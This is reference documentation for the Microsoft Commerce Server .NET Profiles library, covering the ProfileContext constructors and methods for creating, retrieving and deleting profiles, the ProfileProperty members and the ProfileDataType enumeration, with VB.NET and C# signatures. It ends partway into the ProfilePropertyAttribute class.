Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProfileContext Class (BCL)

Creates an abstraction for the Commerce Server profile service component.

You use the ProfileContext object to manipulate Profile objects and SiteTerm objects, and to gain access to the OLEDB Provider for Commerce Server for bulk profile manipulations.

When running in the Commerce Server .NET Application framework, a default ProfileContext instance is created and exposed through the ProfileSystem property of the CommerceContext object.

Public Instance Constructor

Constructor | Description
ProfileContext Constructor(String, DebugContext) | Creates a new instance of the ProfileContext class using the connection string to the profile definitions store.
ProfileContext Constructor(String, String, DebugContext) | Creates a new instance of the ProfileContext class using the connection strings to the profile definitions store and the OLEDB Provider for Commerce Server.
ProfileContext Constructor(String, String, String, DebugContext) | Creates a new instance of the ProfileContext class using the connection strings to the profile definitions store, the OLEDB Provider for Commerce Server, and the bizdata store.

Public Instance Methods

Method | Description
CreateProfile(Int32, String) | Creates a new profile object instance with the specified primary key value (as an integer) and profile definition.
CreateProfile(String, String) | Creates a new profile object instance with the specified primary key value (as a string) and profile definition.
CreateProfile(String, String, String, ProfileXmlFormat) | Creates a new profile object instance with the specified primary key value (as a string), profile definition, XML string describing the initial state of the profile object, and the XML format type.
DeleteProfile(Int32, String) | Deletes the specified profile object.
DeleteProfile(String, String) | Deletes the specified profile object.
DeleteProfile(String, Int32, String) | Deletes the specified profile object.
DeleteProfile(String, String, String) | Deletes the specified profile object.
Dispose | Releases resources used by this object.
GetProfile(Int32, String) | Retrieves the specified profile object.
GetProfile(String, String) | Retrieves the specified profile object.
GetProfile(String, Int32, String) | Retrieves the specified profile object.
GetProfile(String, String, String) | Retrieves the specified profile object.
GetSiteTerm(String) | Initializes the SiteTerms collection and returns the specified site term.

Public Instance Properties

Property | Description
CommerceOleDbProvider | Accesses the OLE DB Provider for Commerce Server handle.
SiteTermNames | Gets the SiteTerms collection.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Build a Login Page

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties

Code to Use the SiteTerm Class


ProfileContext Constructor (BCL)

Public Instance Constructor

Constructor | Description
ProfileContext Constructor(String, DebugContext) | Creates a new instance of the ProfileContext class using the connection string to the profile definitions store.
ProfileContext Constructor(String, String, DebugContext) | Creates a new instance of the ProfileContext class using the connection strings to the profile definitions store and the OLEDB Provider for Commerce Server.
ProfileContext Constructor(String, String, String, DebugContext) | Creates a new instance of the ProfileContext class using the connection strings to the profile definitions store, the OLEDB Provider for Commerce Server, and the bizdata store.

See Also

Code to Build a Login Page

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties

Code to Use the SiteTerm Class


ProfileContext Constructor (String, DebugContext) (BCL)

Use this method to create a new instance of the ProfileContext class using the connection string to the profile definitions store.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal profilesvcConnstr As System.String, _
  ByVal dbgContext As DebugContext _
)
[C#]
public ProfileContext(
  System.String profilesvcConnstr,
  DebugContext dbgContext
);

Parameters

[Visual Basic .NET]
profilesvcConnstr
The connection string to the profile definitions store.
dbgContext
The DebugContext object.
[C#]
profilesvcConnstr
The connection string to the profile definitions store.
dbgContext
The DebugContext object.

Remarks

Throws an ArgumentNullException if any of the parameters are missing.

When this form of the constructor is used, the CommerceOleDbProvider property is not available for use. Additionally, the profiles catalog is defaulted to "Profile Definitions", the default profiles catalog in Commerce Server.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Build a Login Page

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties

Code to Use the SiteTerm Class


ProfileContext Constructor (String, String, DebugContext) (BCL)

Use this method to create a new instance of the ProfileContext class using the connection strings to the profile definitions store and to the OLEDB Provider for Commerce Server.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal profilesvcConnstr As System.String, _
  ByVal profilesCatalog As System.String, _
  ByVal dbgContext As DebugContext _
)
[C#]
public ProfileContext(
  System.String profilesvcConnstr,
  System.String profilesCatalog,
  DebugContext dbgContext
);

Parameters

[Visual Basic .NET]
profilesvcConnstr
The connection to the profile definitions store.
profilesCatalog
The connection string for the OLEDB Provider for Commerce Server.
dbgContext
The DebugContext object.
[C#]
profilesvcConnstr
The connection to the profile definitions store.
providerConnstr
The connection string for the OLEDB Provider for Commerce Server.
dbgContext
The DebugContext object.

Remarks

Throws an ArgumentNullException if any of the parameters are missing.

When this form of the constructor is used, the CommerceOleDbProvider property is not available for use.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Build a Login Page

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties

Code to Use the SiteTerm Class


ProfileContext Constructor (String, String, String, DebugContext) (BCL)

Use this method to create a new instance of the ProfileContext class using the connection strings to the profile definitions store, the OLEDB Provider for Commerce Server, and the bizdata store.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal profilesvcConnstr As System.String, _
  ByVal providerConnstr As System.String, _
  ByVal bdaoConnstr As System.String, _
  ByVal dbgContext As DebugContext _
)
[C#]
public ProfileContext(
  System.String profilesvcConnstr,
  System.String providerConnstr,
  System.String bdaoConnstr,
  DebugContext dbgContext
);

Parameters

[Visual Basic .NET]
profilesvcConnstr
The connection string to the profile definitions store.
providerConnstr
The connection string for the OLEDB Provider for Commerce Server.
bdaoConnstr
The connection string for the bizdata store.
dbgContext
The DebugContext object.
[C#]
profilesvcConnstr
The connection string to the profile definitions store.
providerConnstr
The connection string for the OLEDB Provider for Commerce Server.
bdaoConnstr
The connection string for the bizdata store.
dbgContext
The DebugContext object.

Remarks

Throws an ArgumentNullException if any of the parameters are missing.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Build a Login Page

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties

Code to Use the SiteTerm Class


ProfileContext Methods (BCL)

Public Instance Methods

Method | Description
CreateProfile(Int32, String) | Creates a new profile object instance with the specified primary key value (as an integer) and profile definition.
CreateProfile(String, String) | Creates a new profile object instance with the specified primary key value (as a string) and profile definition.
CreateProfile(String, String, String, ProfileXmlFormat) | Creates a new profile object instance with the specified primary key value (as a string), profile definition, XML string describing the initial state of the profile object, and the XML format type.
DeleteProfile(Int32, String) | Deletes the specified profile object.
DeleteProfile(String, String) | Deletes the specified profile object.
DeleteProfile(String, Int32, String) | Deletes the specified profile object.
DeleteProfile(String, String, String) | Deletes the specified profile object.
Dispose | Releases the resources used by this object.
GetProfile(Int32, String) | Retrieves the specified profile object.
GetProfile(String, String) | Retrieves the specified profile object.
GetProfile(String, Int32, String) | Retrieves the specified profile object.
GetProfile(String, String, String) | Retrieves the specified profile object.
GetSiteTerm(String) | Initializes the SiteTerms collection and returns the specified SiteTerm.

See Also

Code to Build a Login Page

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties

Code to Use the SiteTerm Class


ProfileContext.CreateProfile (String, String) Method (BCL)

Use this method to create a new profile object instance with the specified primary key value (as an integer) and profile definition.

[Visual Basic .NET]
Public Function CreateProfile( _
  ByVal keyValue As System.String, _
  ByVal profileType As System.String _
) As Profile
[C#]
public Profile CreateProfile(
  System.String keyValue,
  System.String profileType
);

Parameters

[Visual Basic .NET]
keyValue
The string value of the primary key property.
profileType
The string profile definition of interest, for example, "UserObject", or "Organization".
[C#]
keyValue
The string value of the primary key property.
profileType
The string profile definition of interest, for example, "UserObject", or "Organization".

Return Value

A handle to a newly created profile object.

Remarks

For more information about profile programming concepts, see Profile Programming Concepts .

This method throws a CommerceProfileAlreadyExistsException exception if a profile instance with the specified primary key already exists. Note that this method only checks the local profile cache for existence of a profile with the provided key. The physical profile store is not checked until the Update method is called to commit the new profile instance to the store. For any other failure, it throws a CommerceProfileSystemException exception that wraps an inner COMException exception that contains an error code and description describing in more detail the nature of the failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Build a Login Page

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties

Code to Use the SiteTerm Class


ProfileContext.CreateProfile (Int32, String) Method (BCL)

Use this method to create a new profile object instance with the specified primary key value (as a string) and profile definition.

[Visual Basic .NET]
Public Function CreateProfile( _
  ByVal keyValue As System.Int32, _
  ByVal profileType As System.String _
) As Profile
[C#]
public Profile CreateProfile(
  System.Int32 keyValue,
  System.String profileType
);

Parameters

[Visual Basic .NET]
keyValue
The value of the primary key property.
profileType
The profile definition of interest, such as "UserObject", or "Organization".
[C#]
keyValue
The value of the primary key property.
profileType
The profile definition of interest, such as "UserObject", or "Organization".

Return Value

A handle to a newly created profile object.

Remarks

This method throws a CommerceProfileAlreadyExistsException exception if a profile instance with the specified primary key already exists. Note that this method only checks the local profile cache for existence of a profile with the provided key. The physical profile store is not checked until the Update method is called to commit the new profile instance to the store. For any other failure, it throws a CommerceProfileSystemException exception that wraps an inner COMException exception that contains an error code and description describing in more detail the nature of the failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Build a Login Page

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties

Code to Use the SiteTerm Class


ProfileContext.CreateProfile (String, String, String, ProfileXmlFormat) Method (BCL)

Use this method to create a new profile object instance with the specified primary key value (as a string), profile definition, XML string describing the initial state of the profile object, and the XML format type.

[Visual Basic .NET]
Public Function CreateProfile( _
  ByVal keyValue As System.String, _
  ByVal profileType As System.String, _
  ByVal xmlData As System.String, _
  ByVal xmlFormat As ProfileXmlFormat_
) As Profile
[C#]
public Profile CreateProfile(
  System.String keyValue,
  System.String profileType,
  System.String xmlData,
  ProfileXmlFormat xmlFormat
);

Parameters

[Visual Basic .NET]
keyValue
The string value of the primary key property.
profileType
The string profile definition of interest, for example, "UserObject", or "Organization".
xmlData
The XML string specifying the initial state of the profile object.
xmlFormat
The ProfileXmlFormat as specified in attribute-centric or element-centric format. For more information, see ProfileXmlFormat.
[C#]
keyValue
The string value of the primary key property.
profileType
The string profile definition of interest, for example, "UserObject", or "Organization".
xmlData
The XML string specifying initial state of the profile object.
xmlFormat
The ProfileXmlFormat as specified in attribute-centric or element-centric format. For more information, see ProfileXmlFormat.

Return Value

A handle to a newly created profile object.

Remarks

This method throws a CommerceProfileAlreadyExistsException exception if a profile instance with the specified primary key already exists. Note that this method only checks the local profile cache for existence of a profile with the provided key. The physical profile store is not checked until the Update method is called to commit the new profile instance to the store. For any other failure, it throws a CommerceProfileSystemException exception that wraps an inner COMException exception that contains an error code and description describing in more detail the nature of the failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Build a Login Page

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties

Code to Use the SiteTerm Class


ProfileContext.DeleteProfile (String, String) Method (BCL)

Use this method to delete a profile object instance using the specified string as the primary key value.

[Visual Basic .NET]
Public Sub DeleteProfile( _
  ByVal keyValue As System.String, _
  ByVal profileType As System.String _
)
[C#]
public void DeleteProfile(
  System.String keyValue,
  System.String profileType
);

Parameters

[Visual Basic .NET]
keyValue
The value of the primary key property.
profileType
The string profile definition of interest, for example, "UserObject", or "Organization".
[C#]
keyValue
The value of the primary key property.
profileType
The string profile definition of interest, for example, "UserObject", or "Organization".

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Build a Login Page

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties

Code to Use the SiteTerm Class


ProfileContext.DeleteProfile (Int32, String) Method (BCL)

Use this method to delete specified profile object.

[Visual Basic .NET]
Public Sub DeleteProfile( _
  ByVal keyValue As System.Int32, _
  ByVal profileType As System.String _
)
[C#]
public void DeleteProfile(
  System.Int32 keyValue,
  System.String profileType
);

Parameters

[Visual Basic .NET]
keyValue
The value of the primary key property.
profileType
The profile definition of interest.
[C#]
keyValue
The value of the primary key property.
profileType
The profile definition of interest.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Build a Login Page

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties

Code to Use the SiteTerm Class


ProfileContext.DeleteProfile (String, String, String) Method (BCL)

Use this method to delete specified profile object.

[Visual Basic .NET]
Public Sub DeleteProfile( _
  ByVal keyName As System.String, _
  ByVal keyValue As System.String, _
  ByVal profileType As System.String _
)
[C#]
public void DeleteProfile(
  System.String keyName,
  System.String keyValue,
  System.String profileType
);

Parameters

[Visual Basic .NET]
keyName
The name of the key property.
keyValue
The value of the key property.
profileType
The profile definition of interest.
[C#]
keyName
The name of the key property.
keyValue
The value of the key property.
profileType
The profile definition of interest.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Build a Login Page

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties

Code to Use the SiteTerm Class


ProfileContext.DeleteProfile (String, Int32, String) Method (BCL)

Use this method to delete the specified profile object.

[Visual Basic .NET]
Public Sub DeleteProfile( _
  ByVal keyName As System.String, _
  ByVal keyValue As System.Int32, _
  ByVal profileType As System.String _
)
[C#]
public void DeleteProfile(
  System.String keyName,
  System.Int32 keyValue,
  System.String profileType
);

Parameters

[Visual Basic .NET]
keyName
The name of the key property.
keyValue
The value of the key property.
profileType
The profile definition of interest.
[C#]
keyName
The name of the key property.
keyValue
The value of the key property.
profileType
The profile definition of interest.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Build a Login Page

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties

Code to Use the SiteTerm Class


ProfileContext.Dispose Method (BCL)

Use this method to release resources used by this object.

[Visual Basic .NET]
Public Sub Dispose( _
)
[C#]
public void Dispose(
);

Implements

System.IDisposable

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Build a Login Page

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties

Code to Use the SiteTerm Class


ProfileContext.GetProfile (String, String) Method (BCL)

Use this method to retrieve the specified profile object.

[Visual Basic .NET]
Public Function GetProfile( _
  ByVal keyValue As System.String, _
  ByVal profileType As System.String _
) As Profile
[C#]
public Profile GetProfile(
  System.String keyValue,
  System.String profileType
);

Parameters

[Visual Basic .NET]
keyValue
The value of the primary key property.
profileType
The profile definition of interest.
[C#]
keyValue
The value of the primary key property.
profileType
The profile definition of interest.

Return Value

The retrieved profile object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Build a Login Page

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties

Code to Use the SiteTerm Class


ProfileContext.GetProfile (Int32, String) Method (BCL)

Use this method to retrieve the specified profile object.

[Visual Basic .NET]
Public Function GetProfile( _
  ByVal keyValue As System.Int32, _
  ByVal profileType As System.String _
) As Profile
[C#]
public Profile GetProfile(
  System.Int32 keyValue,
  System.String profileType
);

Parameters

[Visual Basic .NET]
keyValue
The value of the primary key property.
profileType
The profile definition of interest.
[C#]
keyValue
The value of the primary key property.
profileType
The profile definition of interest.

Return Value

The retrieved profile object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Build a Login Page

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties

Code to Use the SiteTerm Class


ProfileContext.GetProfile (String, String, String) Method (BCL)

Use this method to retrieve the specified profile object.

[Visual Basic .NET]
Public Function GetProfile( _
  ByVal keyName As System.String, _
  ByVal keyValue As System.String, _
  ByVal profileType As System.String _
) As Profile
[C#]
public Profile GetProfile(
  System.String keyName,
  System.String keyValue,
  System.String profileType
);

Parameters

[Visual Basic .NET]
keyName
The profile key property of interest.
keyValue
The value of the primary key property.
profileType
The profile definition of interest.
[C#]
keyName
The profile key property of interest.
keyValue
The value of the primary key property.
profileType
The profile definition of interest.

Return Value

The retrieved profile object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Build a Login Page

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties

Code to Use the SiteTerm Class


ProfileContext.GetProfile (String, Int32, String) Method (BCL)

Use this method to retrieve the specified profile object.

[Visual Basic .NET]
Public Function GetProfile( _
  ByVal keyName As System.String, _
  ByVal keyValue As System.Int32, _
  ByVal profileType As System.String _
) As Profile
[C#]
public Profile GetProfile(
  System.String keyName,
  System.Int32 keyValue,
  System.String profileType
);

Parameters

[Visual Basic .NET]
keyName
The profile key property of interest.
keyValue
The value of the primary key property.
profileType
The profile definition of interest.
[C#]
keyName
The profile key property of interest.
keyValue
The value of the primary key property.
profileType
The profile definition of interest.

Return Value

The retrieved profile object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Build a Login Page

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties

Code to Use the SiteTerm Class


ProfileContext.GetSiteTerm (String) Method (BCL)

Use this method to initialize the SiteTerms collection and return the specified SiteTerm object.

[Visual Basic .NET]
Public Function GetSiteTerm( _
  ByVal name As System.String _
) As SiteTerm
[C#]
public SiteTerm GetSiteTerm(
  System.String name
);

Parameters

[Visual Basic .NET]
name
The name of the SiteTerm.
[C#]
name
The name of the SiteTerm.

Return Value

The SiteTerm object. Returns the SiteTerm object instance for the requested SiteTerm name. Returns null if the requested SiteTerm object does not exist in the Profiling System.

Remarks

Throws an ArgumentNullException if the name parameter is null. Throws an InvalidOperationException in a valid value was not provided for the bdaoConnstr parameter of the constructor.

Throws a CommerceProfileSystemException if the SiteTerms collection was not successfully initialized. The Message and ErrorCode properties of the inner COMException contain details on the specific error that occurred.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Build a Login Page

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties

Code to Use the SiteTerm Class


ProfileContext Properties (BCL)

Public Instance Properties

Property | Description
CommerceOleDbProvider | Accesses the OLEDB Provider for Commerce Server handle.
SiteTermNames | Gets the SiteTerms collection.

See Also

Code to Build a Login Page

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties

Code to Use the SiteTerm Class


ProfileContext.CommerceOleDbProvider Property (BCL)

The CommerceOleDbProvider property accesses the OLEDB Provider for Commerce Server handle.

Definition

[Visual Basic .NET]
Public ReadOnly Property CommerceOleDbProvider As ADODB.Connection
[C#]
public ADODB.Connection CommerceOleDbProvider {get;}

Property Value

The OLEDB Provider for Commerce Server handle.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Build a Login Page

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties

Code to Use the SiteTerm Class


ProfileContext.SiteTermNames Property (BCL)

The SiteTermNames property gets the SiteTerms collection.

Definition

[Visual Basic .NET]
Public ReadOnly Property SiteTermNames As System.Collections.ArrayList
[C#]
public System.Collections.ArrayList SiteTermNames {get;}

Property Value

The SiteTerms collection.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Build a Login Page

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties

Code to Use the SiteTerm Class


ProfileDataType Enumeration (BCL)

Enumerates all the profile data types exposed by the Profiles Base Class Library.

Members

Member name | Description
Binary | Indicates a Binary datatype. Corresponds to ADODB.DataTypeEnum.adBinary with a maximum storage size of 4K bytes.
Boolean | Indicates a Boolean datatype. Corresponds to ADODB.DataTypeEnum.adBoolean.
Currency | Indicates a Currency datatype. Corresponds to ADODB.DataTypeEnum.adCurrency.
DateTime | Indicates a DateTime datatype. Corresponds to ADODB.DataTypeEnum.adDateTime.
Double | Indicates a Double datatype. Corresponds to ADODB.DataTypeEnum.adDouble.
Integer | Indicates an Integer datatype. Corresponds to ADODB.DataTypeEnum.adInteger.
LongBinary | Indicates a Binary data type. Corresponds to ADODB.DataTypeEnum.adBinary, with a maximum storage size of 128*K bytes.
LongString | Indicates a LongString datatype. Corresponds to ADODB.DataTypeEnum.adBSTR and ADODB.DataTypeEnum.adWCHAR with a maximum storage size of 128*1024 characters.
Short | Indicates a Short datatype. Corresponds to ADODB.DataTypeEnum.adSmallInt.
Single | Indicates a Single datatype. Corresponds to ADODB.DataTypeEnum.adSingle.
String | Indicates a String datatype. Corresponds to ADODB.DataTypeEnum.adBSTR and ADODB.DataTypeEnum.adWCHAR with a maximum storage size of 4000 characters.
Variant | Indicates a Variant datatype. Corresponds to ADODB.DataTypeEnum.adVariant.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


IProfileElements Interface (BCL)

An interface that encapsulates the common collections exposed by Profile and ProfilePropertyGroup objects.

Public Instance Properties

Property | Description
Properties | Retrieves the Property collection on this Profile object.
PropertyGroups | Retrieves the PropertyGroups collection on this Profile object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: W indows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


IProfileElements Properties (BCL)

Public Instance Properties

Property | Description
Properties | Retrieves the Property collection on this Profile object.
PropertyGroups | Retrieves the PropertyGroups collection on this Profile object.


IProfileElements.Properties Property (BCL)

The Properties property retrieves the Property collection on this Profile object.

Definition

[Visual Basic .NET]
Public ReadOnly Property Properties As ProfilePropertyCollection
[C#]
public ProfilePropertyCollection Properties {get;}

Property Value

The ProfilePropertyCollection object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: W indows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


IProfileElements.PropertyGroups Property (BCL)

The PropertyGroups property retrieves the PropertyGroups collection on this Profile object.

Definition

[Visual Basic .NET]
Public ReadOnly Property PropertyGroups As ProfilePropertyGroupCollection
[C#]
public ProfilePropertyGroupCollection PropertyGroups {get;}

Property Value

The ProfilePropertyGroupCollection object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: W indows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProfileProperty Class (BCL)

Creates an abstraction for the profile property.

Public Instance Methods

Method | Description
Dispose | Releases resources used by this object.
GetProfiles(String) | Retrieves a profile object collection of the specified profile type, using the current property values as the values for the primary key.
GetProfiles(String, String) | Retrieves a profile object collection of the specified profile type by the specified key member name, using the current property values as the values the primary key.

Public Instance Properties

Property | Description
Attributes | Retrieves the profile property attributes collection.
IsMultivalued | Indicates if this is a multivalued property.
MaxSize | Gets maximum size for this property.
Name | Retrieves the property name.
Type | Retrieves the profile property data type.
Value | Accesses the property value.

Remarks

When assigning values to the ProfileProperty.Value member, do not pass an array of strings with one or more null elements. Doing so will cause an exception to be thrown, and the ProfileProperty.Value member assignment will not occur.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProfileProperty Methods (BCL)

Public Instance Methods

Method | Description
Dispose | Releases resources used by this object.
GetProfiles(String) | Retrieves a profile object collection of the specified profile type, using the current property values as the values for the primary key.
GetProfiles(String, String) | Retrieves a profile object collection of the specified profile type by the specified key member name, using the current property values as the values the primary key.


ProfileProperty.Dispose Method (BCL)

Use this method to release resources used by this object.

Definition

[Visual Basic .NET]
Overridable Public Sub Dispose( _
)
[C#]
public virtual void Dispose(
);

Implements

System.IDisposable

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProfileProperty.GetProfiles (String) Method (BCL)

Use this method to retrieve a profile object collection of the specified profile type, using the current property values as the values for the primary key.

Definition

[Visual Basic .NET]
Public Function GetProfiles( _
  ByVal profileType As System.String, _
) As Microsoft.CommerceServer.Runtime.Profiles.ProfileCollection
[C#]
public Microsoft.CommerceServer.Runtime.Profiles.ProfileCollection GetProfiles(
  System.String profileType,
);

Parameters

[Visual Basic .NET]
profileType
A String that contains the profile type of interest.
[C#]
profileType
A String that contains the profile type of interest.

Return Value

A profile object collection of the specified profile type

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProfileProperty.GetProfiles (String, String) Method (BCL)

Use this method to retrieve a profile object collection of the specified profile type by the specified key member name, using the current property values as the values the primary key.

Definition

[Visual Basic .NET]
Public Function GetProfiles( _
  ByVal keyName As System.String, _
  ByVal profileType As System.String, _
) As Microsoft.CommerceServer.Runtime.Profiles.ProfileCollection
[C#]
public Microsoft.CommerceServer.Runtime.Profiles.ProfileCollection GetProfiles(
  System.String keyName,
  System.String profileType,
);

Parameters

[Visual Basic .NET]
keyName
A String that contains the key member to retrieve the profile.
profileType
A String that contains the profile type of interest.
[C#]
keyName
A String that contains the key member to retrieve the profile.
profileType
A String that contains the profile type of interest.

Return Value

A profile object collection of the specified profile type

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProfileProperty Properties (BCL)

Public Instance Properties

Property | Description
Attributes | Retrieves the profile property attributes collection.
IsMultivalued | Indicates if this is a multivalued property.
MaxSize | Gets maximum size for this property.
Name | Retrieves the property name.
Type | Retrieves the profile property data type.
Value | Accesses the property value.


ProfileProperty.Attributes Property (BCL)

The Attributes property retrieves the profile property attributes collection.

Definition

[Visual Basic .NET]
Public ReadOnly Property Attributes As ProfilePropertyAttributeCollection
[C#]
public ProfilePropertyAttributeCollection Attributes {get;}

Property Value

A ProfilePropertyAttributeCollection containing the profile property attributes.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProfileProperty.IsMultivalued Property (BCL)

The IsMultivalued property indicates if this is a multivalued property.

Definition

[Visual Basic .NET]
Public ReadOnly Property IsMultivalued As System.Boolean
[C#]
public System.Boolean IsMultivalued {get;}

Property Value

A System.Boolean indicating if this is a multivalued property.

Remarks

Returns True, if this is a multivalued property; False otherwise.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProfileProperty.MaxSize Property (BCL)

The MaxSize property get the maximum size for this property.

Definition

[Visual Basic .NET]
Public ReadOnly Property MaxSize As System.Int32
[C#]
public System.Int32 MaxSize {get;}

Property Value

The maximum size for this property.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProfileProperty.Name Property (BCL)

The Name property retrieves the property name.

Definition

[Visual Basic .NET]
Public ReadOnly Property Name As System.String
[C#]
public System.String Name {get;}

Property Value

The property name.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProfileProperty.Type Property (BCL)

The Type property retrieves the profile property data type.

Definition

[Visual Basic .NET]
Public ReadOnly Property Type As ProfileDataType
[C#]
public ProfileDataType Type {get;}

Property Value

A ProfileDataType object indicating the datatype of the profile property.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProfileProperty.Value Property (BCL)

The Value property accesses the property value.

Definition

[Visual Basic .NET]
Public Property Value As System.Object
[C#]
public System.Object Value {get; set;}

Property Value

A System.Object containing the value of the property.

Remarks

When assigning values to the ProfileProperty.Value member, do not pass an array of strings with one or more null elements. Doing so will cause an exception to be thrown, and the ProfileProperty.Value member assignment will not occur.

When dealing with implementations involving the encryption of profile properties, note that the KeyIndex ProfileProperty.Value property is read-only, and will throw an exception if you write to it.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProfilePropertyAttribute Class (BCL)

This class serves as an abstraction for a profile property attribute.

Public Instance Properties

Property | Description
